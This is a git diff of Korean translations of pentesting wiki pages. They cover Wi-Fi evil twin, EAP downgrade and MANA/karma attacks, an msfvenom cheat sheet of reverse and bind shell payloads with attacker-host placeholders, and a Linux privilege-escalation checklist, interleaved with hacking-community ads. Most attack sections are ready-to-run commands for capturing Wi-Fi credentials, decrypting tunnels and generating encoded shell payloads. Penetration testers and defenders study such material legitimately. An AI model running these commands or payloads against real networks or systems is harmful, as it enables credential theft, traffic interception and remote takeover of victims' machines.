선택한 프로토콜에 관계없이, PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 신원을 알게 됩니다. 실제 신원은 user@realm 또는 단순히 user로 표현될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우, 이제 사용자의 신원을 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버가 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우, 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 나가는 RADIUS 메시지의 User-Name 속성은 사용자의 실제 신원으로 대체되며, 들어오는 RADIUS 요청의 익명 User-Name을 대체합니다. 보호된 인증 방법이 PAP 또는 CHAP(오직 TTLS에서만 지원)인 경우, TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 나가는 RADIUS 메시지에 대체되어 들어오는 RADIUS 요청에서 발견된 익명 User-Name 및 TTLS EAP-Message 속성을 대체합니다.
자세한 내용은 [여기](https://www.interlinknetworks.com/app\_notes/eap-peap.htm) 확인하세요.
자세한 내용은 [여기](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)에서 확인하세요.
### EAP-Bruteforce (password spray)
@ -452,7 +452,7 @@ EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언
* 802.11 프로토콜은 스테이션이 확장 서비스 세트(ESS)에 가입하는 방법을 정의하지만, ESS 또는 그 안의 액세스 포인트(AP)를 선택하는 기준은 명시하지 않습니다.
* 스테이션은 동일한 ESSID를 공유하는 AP 간에 로밍할 수 있으며, 건물이나 지역 전반에 걸쳐 연결성을 유지합니다.
* 프로토콜은 ESS에 대한 스테이션 인증을 요구하지만, 스테이션에 대한 AP 인증을 의무화하지 않습니다.
* 프로토콜은 ESS에 대한 스테이션 인증을 요구하지만, 스테이션에 대한 AP 인증을 의무화하지 않습니다.
### 선호 네트워크 목록(PNL)
@ -468,8 +468,8 @@ EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언
### 능동 프로빙
* 능동 프로빙은 스테이션이 근처 AP와 그 특성을 발견하기 위해 프로브 요청을 보내는 것입니다.
* 지향 프로브 요청은 특정 ESSID를 목표로 하여, 특정 네트워크가 범위 내에 있는지 감지하는 데 도움을 줍니다. 숨겨진 네트워크일지라도 가능합니다.
* 브로드캐스트 프로브 요청은 SSID 필드가 비어 있으며, 모든 근처 AP에 전송되어 스테이션이 PNL 내용을 공개하지 않고도 선호 네트워크를 확인할 수 있게 합니다.
* 특정 ESSID를 목표로 하는 지향 프로브 요청은 특정 네트워크가 범위 내에 있는지 감지하는 데 도움을 주며, 숨겨진 네트워크일지라도 가능합니다.
* 방송 프로브 요청은 SSID 필드가 비어 있으며, 모든 근처 AP에 전송되어 스테이션이 PNL 내용을 공개하지 않고도 선호 네트워크를 확인할 수 있게 합니다.
## 간단한 AP와 인터넷으로의 리디렉션
@ -493,12 +493,12 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
그런 다음 **IP 설정****경로 설정**:
그런 다음 **IP**와 **경로**를 설정합니다:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
그리고 **dnsmasq**를 시작합니다:
그리고 **시작** dnsmasq:
```bash
dnsmasq -C dnsmasq.conf -d
```
@ -545,11 +545,11 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
* **클라이언트 로밍 및 연결 조작**: 802.11 프로토콜은 장치가 동일한 ESS 내의 액세스 포인트 간에 로밍할 수 있도록 허용합니다. 공격자는 장치를 현재 기본 스테이션에서 분리하고 악성 스테이션에 연결하도록 유도하여 이를 악용할 수 있습니다. 이는 더 강한 신호를 제공하거나 비인증 패킷 또는 재밍과 같은 방법을 통해 합법적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다.
* **실행의 어려움**: 여러 개의 잘 배치된 액세스 포인트가 있는 환경에서 악성 쌍둥이 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 합법적인 액세스 포인트를 비인증하면 장치가 다른 합법적인 액세스 포인트에 연결되는 경우가 많으며, 공격자가 모든 인근 액세스 포인트를 비인증하거나 악성 액세스 포인트를 전략적으로 배치할 수 없는 한 그렇습니다.
아주 기본적인 Open Evil Twin(인터넷으로 트래픽을 라우팅할 수 있는 기능 없음)을 만들 수 있습니다:
아주 기본적인 오픈 악성 쌍둥이(인터넷으로 트래픽을 라우팅할 수 있는 기능 없음)를 만들 수 있습니다:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
당신은 **eaphammer**를 사용하여 Evil Twin을 생성할 수도 있습니다 (eaphammer로 Evil Twin을 생성하려면 인터페이스가 **모니터** 모드에 있지 않아야 한다는 점에 유의하세요):
당신은 **eaphammer**를 사용하여 Evil Twin을 생성할 수도 있습니다 (eaphammer로 Evil Twin을 생성하려면 인터페이스가 **모니터** 모드에 있지 않아야 한다는 점에 유의하십시오):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -557,13 +557,13 @@ Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (1088).png>)
기본적으로 PNL에 ESSID가 WPA로 보호되어 저장되어 있으면, 장치는 자동으로 Open evil Twin에 연결되지 않습니다. 실제 AP에 DoS 공격을 시도하고 사용자가 수동으로 Open evil twin에 연결하기를 희망할 수 있으며, 또는 실제 AP에 DoS 공격을 하고 WPA Evil Twin을 사용하여 핸드쉐이크를 캡처할 수 있습니다(이 방법을 사용하면 PSK를 모르기 때문에 피해자가 당신에게 연결하도록 할 수는 없지만, 핸드쉐이크를 캡처하고 이를 크랙하려고 시도할 수 있습니다).
기본적으로 PNL에 ESSID가 WPA로 보호된 상태로 저장되어 있으면, 장치는 자동으로 Open evil Twin에 연결되지 않습니다. 실제 AP에 DoS 공격을 시도하고 사용자가 수동으로 Open evil twin에 연결하기를 희망할 수 있으며, 또는 실제 AP에 DoS 공격을 하고 WPA Evil Twin을 사용하여 핸드쉐이크를 캡처할 수 있습니다(이 방법을 사용하면 PSK를 모르기 때문에 피해자가 당신에게 연결하도록 할 수는 없지만, 핸드쉐이크를 캡처하고 이를 크랙할 수 있습니다).
_일부 OS 및 AV는 사용자가 Open 네트워크에 연결하는 것이 위험하다고 경고할 것입니다..._
### WPA/WPA2 Evil Twin
**WPA/2를 사용하여 Evil Twin을 생성할 수** 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 어쨌든, **4-way-handshake를 완료하려면** 클라이언트가 사용할 **비밀번호**를 **알아야** 합니다. **모르시면** **연결이 완료되지 않습니다**.
**WPA/2를 사용하여 Evil Twin을 생성할 수** 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 어쨌든, **4-way-handshake를 완료하려면** 클라이언트가 사용할 **비밀번호**를 **알아야** 합니다. **모르시면** **연결이 완료되지 않습니다.**
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -590,11 +590,11 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
기본적으로 EAPHammer는 이 인증 방법을 목적합니다 (GTC를 첫 번째로 시도하여 평문 비밀번호를 얻고 그 다음에 더 강력한 인증 방법을 사용하는 것을 주목하십시오):
기본적으로 EAPHammer는 이 인증 방법을 목적합니다 (GTC를 첫 번째로 시도하여 평문 비밀번호를 얻고, 그 다음에 더 강력한 인증 방법을 사용합니다):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
이것은 긴 연결 시간을 피하기 위한 기본 방법론입니다. 그러나 인증 방법을 가장 약한 것부터 가장 강한 것으로 서버에 지정할 수도 있습니다:
이것은 긴 연결 시간을 피하기 위한 기본 방법론입니다. 그러나 인증 방법을 가장 약한 것에서 가장 강한 것으로 서버에 지정할 수도 있습니다:
```
--negotiate weakest
```
@ -602,12 +602,12 @@ Or you could also use:
* `--negotiate gtc-downgrade`를 사용하여 매우 효율적인 GTC 다운그레이드 구현(평문 비밀번호)을 사용할 수 있습니다.
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`를 사용하여 제공되는 방법을 수동으로 지정합니다(조직과 동일한 순서로 동일한 인증 방법을 제공하면 공격을 탐지하기가 훨씬 더 어려워집니다).
* [위키에서 더 많은 정보 찾기](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* [위키에서 더 많은 정보를 찾으세요](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Airgeddon 사용하기**
`Airgeddon`은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공합니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 **사용자와 비밀번호의 MD5를 캡처할 수 있습니다**. 이후 공격자는 비밀번호를 크랙하려고 시도할 수 있습니다.\
`Airgeddon`**지속적인 Evil Twin 공격(소음)** 또는 **누군가 연결될 때까지 Evil Attack만 생성(부드럽게)** 할 수 있는 가능성을 제공합니다.
`Airgeddon`은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공합니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 **사용자와 비밀번호의 MD5를 캡처**할 수 있습니다. 이후 공격자는 비밀번호를 크랙하려고 시도할 수 있습니다.\
`Airgeddon`**지속적인 Evil Twin 공격(소음)** 또는 **누군가 연결할 때까지 Evil Attack만 생성(부드럽게)**할 수 있는 가능성을 제공합니다.
![](<../../.gitbook/assets/image (936).png>)
@ -616,13 +616,13 @@ Or you could also use:
_이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을 복호화하고 있으므로 EAP-TTLS에서도 작동해야 합니다._
**hostapd-wpe**의 **구성**에서 _**dh\_file**_이 포함된 줄을 **주석 처리**합니다(`dh_file=/etc/hostapd-wpe/certs/dh`에서 `#dh_file=/etc/hostapd-wpe/certs/dh`로 변경)\
이렇게 하면 `hostapd-wpe`**DH 대신 RSA를 사용하여 키를 교환**하므로 나중에 **서버의 개인 키를 알고** 트래픽을 **복호화**할 수 있습니다.
이렇게 하면 `hostapd-wpe`**DH 대신 RSA를 사용하여 키를 교환**하므로 **서버의 개인 키를 알고 있으면** 나중에 트래픽을 **복호화**할 수 있습니다.
이제 수정된 구성으로 **`hostapd-wpe`**를 사용하여 **Evil Twin**을 시작합니다. 또한 **Evil Twin 공격을 수행하는 인터페이스에서 `wireshark`**를 시작합니다.
이제 수정된 구성으로 **`hostapd-wpe`**를 사용하여 **Evil Twin**을 시작합니다. 또한 **Evil Twin 공격을 수행하는 인터페이스에서** **`wireshark`**를 시작합니다.
이제 또는 나중에(인증 시도가 캡처된 후) `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`에서 wireshark에 개인 RSA 키를 추가할 수 있습니다.
새 항목을 추가하고 다음 값으로 양식을 채웁니다: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = data** -- **키 파일** (**키 파일 선택**, 문제를 피하기 위해 **비밀번호로 보호되지 않은 키 파일을 선택**).
새 항목을 추가하고 값으로 양식을 채웁니다: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = data** -- **키 파일** (**키 파일을 선택**, 문제를 피하기 위해 **비밀번호로 보호되지 않은 키 파일**을 선택합니다).
![](<../../.gitbook/assets/image (687).png>)
@ -641,7 +641,7 @@ _이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을
2. **MAC 기반 블랙리스트**:
* 악성 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여 해당 특정 장치에 대해 악성 AP가 보이지 않게 만듭니다.
3. **SSID 기반 화이트리스트**:
* 악성 AP는 특정 ESSID에 대한 프로브 요청에만 응답하여, 해당 ESSID가 포함되지 않은 장치에는 보이지 않게 만듭니다.
* 악성 AP는 나열된 특정 ESSID에 대해서만 프로브 요청에 응답하여, 해당 ESSID가 포함되지 않은 장치에는 보이지 않게 만듭니다.
4. **SSID 기반 블랙리스트**:
* 악성 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으며, 해당 특정 네트워크를 찾는 장치에는 보이지 않게 만듭니다.
```bash
@ -669,9 +669,9 @@ name3
### MANA
그런 다음, **장치가 원치 않는 네트워크 응답을 무시하기 시작하여 원래의 카르마 공격의 효과를 줄였습니다**. 그러나 **MANA 공격**으로 알려진 새로운 방법이 Ian de Villiers와 Dominic White에 의해 도입되었습니다. 이 방법은 악성 AP가 **장치의 방송 프로브 요청에 응답하여 장치가 이전에 요청한 네트워크 이름(SSID)으로 선호 네트워크 목록(PNL)을 캡처하는** 것입니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선 순위를 매기는 방식을 이용하여 원래의 카르마 공격에 대한 보호를 우회합니다.
그런 다음, **장치가 원치 않는 네트워크 응답을 무시하기 시작하여 원래의 카르마 공격의 효과를 줄였습니다**. 그러나 **MANA 공격**으로 알려진 새로운 방법이 Ian de Villiers와 Dominic White에 의해 도입되었습니다. 이 방법은 악성 AP가 **장치의 방송 프로브 요청에 응답하여 장치가 이전에 요청한 네트워크 이름(SSID)으로 선호 네트워크 목록(PNL)을 캡처하는 것**을 포함합니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선순위를 매기는 방식을 이용하여 원래의 카르마 공격에 대한 보호를 우회합니다.
MANA 공격은 장치의 지향 및 방송 프로브 요청을 모두 모니터링하여 작동합니다. 지향 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 방송 요청이 수신되면 AP는 장치 목록의 네트워크와 일치하는 정보를 제공하여 장치가 악성 AP에 연결하도록 유도합니다.
MANA 공격은 장치의 지향 및 방송 프로브 요청을 모두 모니터링하여 작동합니다. 지향 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 방송 요청이 수신되면 AP는 장치의 목록에 있는 네트워크와 일치하는 정보를 제공하여 장치가 악성 AP에 연결하도록 유도합니다.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -683,15 +683,15 @@ A **Loud MANA attack**는 장치가 지향 프로빙을 사용하지 않거나
```
### Known Beacon attack
**Loud MANA 공격**이 충분하지 않을 때, **Known Beacon 공격**은 또 다른 접근 방식을 제공합니다. 이 방법은 **단어 목록에서 파생된 잠재적 ESSID 목록을 순환하며 모든 네트워크 이름에 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입합니다**. 이는 여러 네트워크의 존재를 시뮬레이션하여 피해자의 PNL 내에서 ESSID와 일치하기를 희망하며, 조작된 AP에 대한 연결 시도를 유도합니다. 이 공격은 장치를 포획하기 위한 보다 공격적인 시도를 위해 `--loud` 옵션과 결합하여 증폭할 수 있습니다.
**Loud MANA 공격**이 충분하지 않을 때, **Known Beacon 공격**은 또 다른 접근 방식을 제공합니다. 이 방법은 **단어 목록에서 파생된 잠재적 ESSID 목록을 순환하며 모든 네트워크 이름에 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입합니다.** 이는 여러 네트워크의 존재를 시뮬레이션하여 피해자의 PNL 내에서 ESSID와 일치하기를 희망하며, 조작된 AP에 대한 연결 시도를 유도합니다. 이 공격은 장치를 포획하기 위한 보다 공격적인 시도를 위해 `--loud` 옵션과 결합하여 증폭할 수 있습니다.
Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모든 ESSID가 사용됩니다 (여기에 `--loud`를 결합하여 Loud MANA + Known beacons 공격을 생성할 수도 있습니다):
Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모든 ESSID가 사용됩니다(여기에 `--loud`를 결합하여 Loud MANA + Known beacons 공격을 생성할 수도 있습니다):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Known Beacon Burst attack**
**Known Beacon Burst attack**는 **파일에 나열된 각 ESSID에 대해 비콘 프레임을 빠르게 방송하는 것**을 포함합니다. 이는 가짜 네트워크의 밀집된 환경을 생성하여, 특히 MANA 공격과 결합할 때 장치가 악성 AP에 연결될 가능성을 크게 높니다. 이 기술은 속도와 양을 활용하여 장치의 네트워크 선택 메커니즘을 압도합니다.
**Known Beacon Burst attack**는 **파일에 나열된 각 ESSID에 대해 비콘 프레임을 빠르게 방송하는 것**을 포함합니다. 이는 가짜 네트워크의 밀집된 환경을 생성하여 장치가 악성 AP에 연결될 가능성을 크게 높이며, 특히 MANA 공격과 결합할 때 더욱 그렇습니다. 이 기술은 속도와 양을 활용하여 장치의 네트워크 선택 메커니즘을 압도합니다.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -702,13 +702,13 @@ Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모
```
## Wi-Fi Direct
**Wi-Fi Direct**는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 장치들이 서로 직접 연결할 수 있도록 하는 프로토콜입니다. 이 기능은 프린터 텔레비전과 같은 다양한 사물인터넷(IoT) 장치에 통합되어 있어 장치 간의 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할 만한 특징은 하나의 장치가 그룹 소유자라고 알려진 액세스 포인트 역할을 하여 연결을 관리한다는 것입니다.
**Wi-Fi Direct**는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 장치들이 서로 직접 연결할 수 있도록 하는 프로토콜입니다. 이 기능은 프린터 텔레비전과 같은 다양한 사물인터넷(IoT) 장치에 통합되어 있어 장치 간의 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할 만한 특징은 하나의 장치가 그룹 소유자라는 액세스 포인트 역할을 하여 연결을 관리한다는 점입니다.
Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정되며, 안전한 페어링을 위한 여러 방법을 지원합니다. 여기에는 다음이 포함됩니다:
* **Push-Button Configuration (PBC)**
* **푸시 버튼 구성 (PBC)**
* **PIN 입력**
* **Near-Field Communication (NFC)**
* **근거리 무선 통신 (NFC)**
이 방법들은 특히 PIN 입력이 전통적인 Wi-Fi 네트워크의 WPS와 동일한 취약점에 노출되어 있어 유사한 공격 벡터의 표적이 됩니다.
@ -731,7 +731,7 @@ Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -26,7 +26,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
@ -59,7 +59,7 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
### 바인드 셸
### Bind Shell
{% code overflow="wrap" %}
```bash
@ -86,8 +86,6 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administr
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
{% endcode %}
### 실행 파일 내에 포함
{% code overflow="wrap" %}
@ -105,13 +103,15 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
### 바인드 셸
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
### SunOS (Solaris)
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
@ -125,8 +125,6 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
{% endcode %}
### **바인드 셸**
{% code overflow="wrap" %}
@ -205,7 +203,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -215,7 +213,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!

View file

@ -9,13 +9,13 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -25,10 +25,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
오늘 [**디스코드**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
### **리눅스 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
@ -37,38 +37,38 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [ ] **OS 정보** 가져오기
* [ ] [**PATH**](privilege-escalation/#path) 확인, **쓰기 가능한 폴더**가 있나요?
* [ ] [**env 변수**](privilege-escalation/#env-info) 확인, 민감한 정보가 있나요?
* [ ] [**커널 익스플로잇**](privilege-escalation/#kernel-exploits) **스크립트를 사용하여 검색** (DirtyCow?)
* [ ] [**커널 익스플로잇**](privilege-escalation/#kernel-exploits) **스크립트를 사용하여** 검색 (DirtyCow?)
* [ ] [**sudo 버전**이 취약한지](privilege-escalation/#sudo-version) **확인**
* [ ] [**Dmesg** 서명 검증 실패](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] 더 많은 시스템 열거 ([날짜, 시스템 통계, CPU 정보, 프린터](privilege-escalation/#more-system-enumeration))
* [ ] [**더 많은 방어 수단 열거**](privilege-escalation/#enumerate-possible-defenses)
* [ ] [더 많은 방어 수단 열거](privilege-escalation/#enumerate-possible-defenses)
### [드라이브](privilege-escalation/#drives)
* [ ] **마운트된** 드라이브 목록
* [ ] **마운트되지 않은 드라이브가 있나요?**
* [ ] **fstab에 자격 증명이 있나요?**
* [ ] **fstab에 자격 증명**이 있나요?
### [**설치된 소프트웨어**](privilege-escalation/#installed-software)
* [ ] **설치된** [**유용한 소프트웨어**](privilege-escalation/#useful-software) **확인**
* [ ] **설치된** [**취약한 소프트웨어**](privilege-escalation/#vulnerable-software-installed) **확인**
* [ ] **설치된** [**유용한 소프트웨어**](privilege-escalation/#useful-software) 확인
* [ ] **설치된** [**취약한 소프트웨어**](privilege-escalation/#vulnerable-software-installed) 확인
### [프로세스](privilege-escalation/#processes)
* [ ] **알 수 없는 소프트웨어가 실행되고 있나요?**
* [ ] **더 많은 권한을 가진 소프트웨어가 실행되고 있나요?**
* [ ] **실행 중인 프로세스의 익스플로잇 검색** (특히 실행 중인 버전).
* [ ] **실행 중인 프로세스의 바이너리를 수정할 수 있나요?**
* [ ] **프로세스를 모니터링**하고 흥미로운 프로세스가 자주 실행되는지 확인하세요.
* [ ] **흥미로운 프로세스 메모리**를 **읽을 수 있나요** (비밀번호가 저장될 수 있는 곳)?
* [ ] **알 수 없는 소프트웨어가 실행되고** 있나요?
* [ ] **더 많은 권한을 가져야 할 소프트웨어가 실행되고** 있나요?
* [ ] **실행 중인 프로세스의 익스플로잇** 검색 (특히 실행 중인 버전).
* [ ] **실행 중인 프로세스의 바이너리****수정**할 수 있나요?
* [ ] **프로세스 모니터링** 흥미로운 프로세스가 자주 실행되는지 확인.
* [ ] **흥미로운 프로세스 메모리**를 **읽을 수** 있나요 (비밀번호가 저장될 수 있는 곳)?
### [예약된/크론 작업?](privilege-escalation/#scheduled-jobs)
* [ ] [**PATH**](privilege-escalation/#cron-path)가 크론에 의해 수정되고 있으며 **쓰기**가 가능한가요?
* [ ] [**PATH**](privilege-escalation/#cron-path)가 크론에 의해 수정되고 있으며, **쓰기**할 수 있나요?
* [ ] 크론 작업에 [**와일드카드**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)가 있나요?
* [ ] **수정 가능한 스크립트**가 **실행되고 있거나 수정 가능한 폴더**에 있나요?
* [ ] 어떤 **스크립트**가 [**매우 자주 실행되고 있는지**](privilege-escalation/#frequent-cron-jobs) 감지했나요? (매 1, 2 또는 5분마다)
* [ ] **수정 가능한 스크립트**가 **실행되고** 있거나 **수정 가능한 폴더**에 있나요?
* [ ] 어떤 **스크립트**가 [**매우 자주**](privilege-escalation/#frequent-cron-jobs) **실행되고** 있는지 감지했나요? (매 1, 2 또는 5분마다)
### [서비스](privilege-escalation/#services)
@ -83,44 +83,44 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### [소켓](privilege-escalation/#sockets)
* [ ] **쓰기 가능한 .socket** 파일이 있나요?
* [ ] **어떤 소켓과 통신할 수 있나요?**
* [ ] **어떤 소켓과 통신**할 수 있나요?
* [ ] **흥미로운 정보가 있는 HTTP 소켓**이 있나요?
### [D-Bus](privilege-escalation/#d-bus)
* [ ] **어떤 D-Bus와 통신할 수 있나요?**
* [ ] **어떤 D-Bus와 통신**할 수 있나요?
### [네트워크](privilege-escalation/#network)
* [ ] 네트워크를 열거하여 당신이 어디에 있는지 알아보세요.
* [ ] **기계 내부에서 쉘을 얻기 전에 접근할 수 없었던 열린 포트**가 있나요?
* [ ] `tcpdump`를 사용하여 **트래픽을 스니핑할 수 있나요?**
* [ ] `tcpdump`를 사용하여 **트래픽을 스니핑**할 수 있나요?
